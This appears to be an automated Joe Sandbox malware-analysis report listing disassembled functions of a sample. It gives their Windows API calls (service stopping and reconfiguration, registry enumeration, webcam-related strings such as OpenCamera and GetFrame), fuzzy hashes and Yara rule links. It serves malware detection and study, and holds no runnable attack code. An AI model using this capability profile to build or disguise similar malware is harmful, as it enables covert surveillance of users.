                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                                                            • String ID:
                                                                                            • API String ID: 1992179935-0
                                                                                            • Opcode ID: b56df2ec526ecb605ad204b00dc5db07d06cb4bbbde3923a820af03cd63327b9
                                                                                            • Instruction ID: 5399b0f9a6461ae69e9bde9777a653eaf6085cdcce353b40ae7049a42401d5b7
                                                                                            • Opcode Fuzzy Hash: b56df2ec526ecb605ad204b00dc5db07d06cb4bbbde3923a820af03cd63327b9
                                                                                            • Instruction Fuzzy Hash: 15810B72A00706ABE724BA79CC41B6B73E89F89768F24522FF411D7781E7B8DD008758
                                                                                            Function 10008821 Relevance: 9.2, APIs: 6, Instructions: 216COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,10006FFD,00000000,?,?,?,10008A72,?,?,00000100), ref: 1000887B
                                                                                            • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,10008A72,?,?,00000100,5EFC4D8B,?,?), ref: 10008901
                                                                                            • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,5EFC4D8B,00000100,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 100089FB
                                                                                            • __freea.LIBCMT ref: 10008A08
                                                                                              • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                                                                                            • __freea.LIBCMT ref: 10008A11
                                                                                            • __freea.LIBCMT ref: 10008A36
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ByteCharMultiWide__freea$AllocateHeap
                                                                                            • String ID:
                                                                                            • API String ID: 1414292761-0
                                                                                            • Opcode ID: bbd44e65680a142b819532ff26adde273e0ccd3bd0c95f1520c1a5c0857fc469
                                                                                            • Instruction ID: 3f57ce737592ef9202bcebfaa3f65c0582e3f3231b4dd00ae19a895c9b397c34
                                                                                            • Opcode Fuzzy Hash: bbd44e65680a142b819532ff26adde273e0ccd3bd0c95f1520c1a5c0857fc469
                                                                                            • Instruction Fuzzy Hash: 4F51CF72710216ABFB15CF60CC85EAB37A9FB417D0F11462AFC44D6148EB35EE509BA1
                                                                                            Function 00444D4D Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: __cftoe
                                                                                            • String ID:
                                                                                            • API String ID: 4189289331-0
                                                                                            • Opcode ID: 59a84199312040bebd3b7080c8be9dd535ae7880d2ee6b6a8de25d9cd02a2692
                                                                                            • Instruction ID: 890c16c57639ce4616fdae23c1b2cf08611ffd87950db76db0bf4773250d0152
                                                                                            • Opcode Fuzzy Hash: 59a84199312040bebd3b7080c8be9dd535ae7880d2ee6b6a8de25d9cd02a2692
                                                                                            • Instruction Fuzzy Hash: 2C512972900205ABFB249BA98C41FAF77A9EFC8324F24411FF815D6292DB3DDD11966C
                                                                                            Function 00403DE7 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 135sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • Sleep.KERNEL32(00000000), ref: 00403E8A
                                                                                              • Part of subcall function 00403FCD: __EH_prolog.LIBCMT ref: 00403FD2
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: H_prologSleep
                                                                                            • String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
                                                                                            • API String ID: 3469354165-3054508432
                                                                                            • Opcode ID: 78333a15d08a018554b06b2901ea6158e916298311135ff26422e47acc308e23
                                                                                            • Instruction ID: 0fabaa65846f565374d927adde4572b2cc1454b627dc53539f04e4ca1ee376cc
                                                                                            • Opcode Fuzzy Hash: 78333a15d08a018554b06b2901ea6158e916298311135ff26422e47acc308e23
                                                                                            • Instruction Fuzzy Hash: 4641B031A0420196C614FF75C956AAD3BA59B81708F00453FF809A72E6DF7C9A85C7CF
                                                                                            Function 100015DA Relevance: 9.1, APIs: 6, Instructions: 84stringCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _strlen.LIBCMT ref: 10001607
                                                                                            • _strcat.LIBCMT ref: 1000161D
                                                                                            • lstrlenW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,1000190E,?,?,00000000,?,00000000), ref: 10001643
                                                                                            • lstrcatW.KERNEL32(?,?,?,?,?,?,1000190E,?,?,00000000,?,00000000,?,?,?,00000104), ref: 1000165A
                                                                                            • lstrlenW.KERNEL32(?,?,?,?,?,1000190E,?,?,00000000,?,00000000,?,?,?,00000104,?), ref: 10001661
                                                                                            • lstrcatW.KERNEL32(00001008,?,?,?,?,?,1000190E,?,?,00000000,?,00000000,?,?,?,00000104), ref: 10001686
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: lstrcatlstrlen$_strcat_strlen
                                                                                            • String ID:
                                                                                            • API String ID: 1922816806-0
                                                                                            • Opcode ID: 315c55c979a72bdf3ac51594b752bef976f460307e9923370b73d2b1bd80b905
                                                                                            • Instruction ID: a267a6945d1554df97f4c8e17fbec8689bbb0548aac84132402ab8fad08d9bbc
                                                                                            • Opcode Fuzzy Hash: 315c55c979a72bdf3ac51594b752bef976f460307e9923370b73d2b1bd80b905
                                                                                            • Instruction Fuzzy Hash: 9821A776900204ABEB05DBA4DC85FEE77B8EF88750F24401BF604AB185DF34B94587A9
                                                                                            Function 10001000 Relevance: 9.1, APIs: 6, Instructions: 76stringCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • lstrcatW.KERNEL32(?,?,?,?,?,00000000), ref: 10001038
                                                                                            • lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 1000104B
                                                                                            • lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 10001061
                                                                                            • lstrlenW.KERNEL32(?,?,?,?,?,00000000), ref: 10001075
                                                                                            • GetFileAttributesW.KERNEL32(?,?,?,00000000), ref: 10001090
                                                                                            • lstrlenW.KERNEL32(?,?,?,00000000), ref: 100010B8
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: lstrlen$AttributesFilelstrcat
                                                                                            • String ID:
                                                                                            • API String ID: 3594823470-0
                                                                                            • Opcode ID: c62e9e5fa69f7526a4dcdb62aa87bf44082eca201cfcddb2e536fed9ba73336f
                                                                                            • Instruction ID: f5da6160d3db499da992451a69b84f141dc83571de07cfa19ff2ab3d93a8fd2c
                                                                                            • Opcode Fuzzy Hash: c62e9e5fa69f7526a4dcdb62aa87bf44082eca201cfcddb2e536fed9ba73336f
                                                                                            • Instruction Fuzzy Hash: DB21E5359003289BEF10DBA0DC48EDF37B8EF44294F104556E999931A6DE709EC5CF50
                                                                                            Function 00419FE2 Relevance: 9.1, APIs: 6, Instructions: 66serviceCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,?,00000000,?,?,004196FD,00000000,00000000), ref: 00419FF2
                                                                                            • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,00000000,?,?,004196FD,00000000,00000000), ref: 0041A006
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,?,004196FD,00000000,00000000), ref: 0041A013
                                                                                            • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,004196FD), ref: 0041A048
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,?,004196FD,00000000,00000000), ref: 0041A05A
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,?,004196FD,00000000,00000000), ref: 0041A05D
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Service$CloseHandle$Open$ChangeConfigManager
                                                                                            • String ID:
                                                                                            • API String ID: 493672254-0
                                                                                            • Opcode ID: 65b9834a0bb4e8b96eb35e8af166575ebded0736ec3647688d6b347b4d29b64b
                                                                                            • Instruction ID: 3721d8981427c9c50277447f2eb78ca90bee9705940f35750f03ddb94c099399
                                                                                            • Opcode Fuzzy Hash: 65b9834a0bb4e8b96eb35e8af166575ebded0736ec3647688d6b347b4d29b64b
                                                                                            • Instruction Fuzzy Hash: 28016D315062107ED2111F349C0EEBF3E1CDF567B1F00022FF522A22D2DE69CE8981AA
                                                                                            Function 00438016 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLastError.KERNEL32(?,?,0043800D,004379C1), ref: 00438024
                                                                                            • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00438032
                                                                                            • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043804B
                                                                                            • SetLastError.KERNEL32(00000000,?,0043800D,004379C1), ref: 0043809D
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorLastValue___vcrt_
                                                                                            • String ID:
                                                                                            • API String ID: 3852720340-0
                                                                                            • Opcode ID: 53432ad30fb65e34fd85c15c53ba6475b9b56c4caf24ea3034d334b81b70c74e
                                                                                            • Instruction ID: c897193d57ecee64636fe05851fbd3cadc70b6e754ca2b2668497838eaebe06c
                                                                                            • Opcode Fuzzy Hash: 53432ad30fb65e34fd85c15c53ba6475b9b56c4caf24ea3034d334b81b70c74e
                                                                                            • Instruction Fuzzy Hash: DC0190321083416DFB2823756C465377B68E709378F21123FF328515F1EF994C44514C
                                                                                            Function 10003856 Relevance: 9.1, APIs: 6, Instructions: 60COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLastError.KERNEL32(?,?,10003518,100023F1,10001F17), ref: 10003864
                                                                                            • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003872
                                                                                            • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 1000388B
                                                                                            • SetLastError.KERNEL32(00000000,?,10003518,100023F1,10001F17), ref: 100038DD
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorLastValue___vcrt_
                                                                                            • String ID:
                                                                                            • API String ID: 3852720340-0
                                                                                            • Opcode ID: 669731f2127195b9a905fed2c89c9d5b837464d933d8447bfa53086d9201cd33
                                                                                            • Instruction ID: 2a33bd680f99e964f7cdf1ea0b0e713dcb61597015083b2077453114c578dac0
                                                                                            • Opcode Fuzzy Hash: 669731f2127195b9a905fed2c89c9d5b837464d933d8447bfa53086d9201cd33
                                                                                            • Instruction Fuzzy Hash: 0F012432608B225EF207D7796CCAA0B2BDDDB096F9B20C27AF510940E9EF219C009300
                                                                                            Function 004470CF Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLastError.KERNEL32(?,?,0043952C,?,00000000,?,0043BB65,00000000,00000000), ref: 004470D3
                                                                                            • _free.LIBCMT ref: 00447106
                                                                                            • _free.LIBCMT ref: 0044712E
                                                                                            • SetLastError.KERNEL32(00000000,00000000,00000000), ref: 0044713B
                                                                                            • SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00447147
                                                                                            • _abort.LIBCMT ref: 0044714D
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$_free$_abort
                                                                                            • String ID:
                                                                                            • API String ID: 3160817290-0
                                                                                            • Opcode ID: ae40a63e46beb22daa4956e078090859b5f7183b7e2bf3c5c9b8e84b2b7f2479
                                                                                            • Instruction ID: 03a1e9305cc52ab1e573739f72da4c843e3c1f7cd4612cbd08a2c6f68691a865
                                                                                            • Opcode Fuzzy Hash: ae40a63e46beb22daa4956e078090859b5f7183b7e2bf3c5c9b8e84b2b7f2479
                                                                                            • Instruction Fuzzy Hash: F2F0F931508B1027F612777A6C46E1B15269BC17B6B26002FF509A6392EF2C8C07911D
                                                                                            Function 10005AF6 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLastError.KERNEL32(?,?,10006C6C), ref: 10005AFA
                                                                                            • _free.LIBCMT ref: 10005B2D
                                                                                            • _free.LIBCMT ref: 10005B55
                                                                                            • SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B62
                                                                                            • SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B6E
                                                                                            • _abort.LIBCMT ref: 10005B74
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$_free$_abort
                                                                                            • String ID:
                                                                                            • API String ID: 3160817290-0
                                                                                            • Opcode ID: c9cb188a03aa1811073f11ee06fa520bea6a831bfab7ff5292fc2b03e8e202de
                                                                                            • Instruction ID: 6ab9c425fee0725613b21b3b36aaf5e4259b246f4cabca8c388d0d7fb541d563
                                                                                            • Opcode Fuzzy Hash: c9cb188a03aa1811073f11ee06fa520bea6a831bfab7ff5292fc2b03e8e202de
                                                                                            • Instruction Fuzzy Hash: 8FF0A47A508911AAF212E3346C4AF0F36AACBC55E3F264125F918A619DFF27B9024174
                                                                                            Function 00419E16 Relevance: 9.0, APIs: 6, Instructions: 44serviceCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,?,?,?,?,?,?,00419991,00000000,00000000), ref: 00419E25
                                                                                            • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,00419991,00000000,00000000), ref: 00419E39
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419991,00000000,00000000), ref: 00419E46
                                                                                            • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,00419991,00000000,00000000), ref: 00419E55
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419991,00000000,00000000), ref: 00419E67
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419991,00000000,00000000), ref: 00419E6A
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Service$CloseHandle$Open$ControlManager
                                                                                            • String ID:
                                                                                            • API String ID: 221034970-0
                                                                                            • Opcode ID: 0c1a15e356219896acdb347c35b0c45111e5d78bcfdfe9148325f151f6ad1740
                                                                                            • Instruction ID: 47980c42e9b022aba05d73d81e1ae7aa31c0ed05cef52b60765f03c540efa169
                                                                                            • Opcode Fuzzy Hash: 0c1a15e356219896acdb347c35b0c45111e5d78bcfdfe9148325f151f6ad1740
                                                                                            • Instruction Fuzzy Hash: 44F062319003186BD611AB65DC89EBF3B6CDB45BA1F01002AF906A21D2DF78DD4A95F5
                                                                                            Function 00419F7D Relevance: 9.0, APIs: 6, Instructions: 44serviceCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,?,?,?,?,?,?,0041988D,00000000,00000000), ref: 00419F8C
                                                                                            • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041988D,00000000,00000000), ref: 00419FA0
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041988D,00000000,00000000), ref: 00419FAD
                                                                                            • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041988D,00000000,00000000), ref: 00419FBC
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041988D,00000000,00000000), ref: 00419FCE
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041988D,00000000,00000000), ref: 00419FD1
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Service$CloseHandle$Open$ControlManager
                                                                                            • String ID:
                                                                                            • API String ID: 221034970-0
                                                                                            • Opcode ID: 5b24b4e27fffc125df5634aa0be26648fed0954f23ddfe4314b62b15434ff522
                                                                                            • Instruction ID: cbb6f8d25e78bf3f904679f952f169c6c08018e661e4ba535c0ca8fa304c3d8e
                                                                                            • Opcode Fuzzy Hash: 5b24b4e27fffc125df5634aa0be26648fed0954f23ddfe4314b62b15434ff522
                                                                                            • Instruction Fuzzy Hash: 68F0C2315002147BD2116B24DC49EBF3A6CDB45BA1B01002AFA06A2192DF78CE4A85B8
                                                                                            Function 00419F18 Relevance: 9.0, APIs: 6, Instructions: 44serviceCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,?,?,?,?,?,?,0041990F,00000000,00000000), ref: 00419F27
                                                                                            • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041990F,00000000,00000000), ref: 00419F3B
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041990F,00000000,00000000), ref: 00419F48
                                                                                            • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041990F,00000000,00000000), ref: 00419F57
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041990F,00000000,00000000), ref: 00419F69
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041990F,00000000,00000000), ref: 00419F6C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Service$CloseHandle$Open$ControlManager
                                                                                            • String ID:
                                                                                            • API String ID: 221034970-0
                                                                                            • Opcode ID: 8b5bee833df7660f85241f437fe153c135d0241f59d488d3ebe91362aced60b6
                                                                                            • Instruction ID: 95d7f5aa039a93820bb4883d7663946178ed8a5ec9cf590f88e81ba893971d89
                                                                                            • Opcode Fuzzy Hash: 8b5bee833df7660f85241f437fe153c135d0241f59d488d3ebe91362aced60b6
                                                                                            • Instruction Fuzzy Hash: 7EF062715003147BD2116B65DC4AEBF3B6CDB45BA1B01002AFA06B2192DF78DD4A96B9
                                                                                            Function 00412A82 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 173registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegQueryInfoKeyW.ADVAPI32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00412AF5
                                                                                            • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?,?,00000000,?,?,?,?), ref: 00412B24
                                                                                            • RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,?,?,00002710,?,?,?,00000000,?,?,?,?), ref: 00412BC5
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
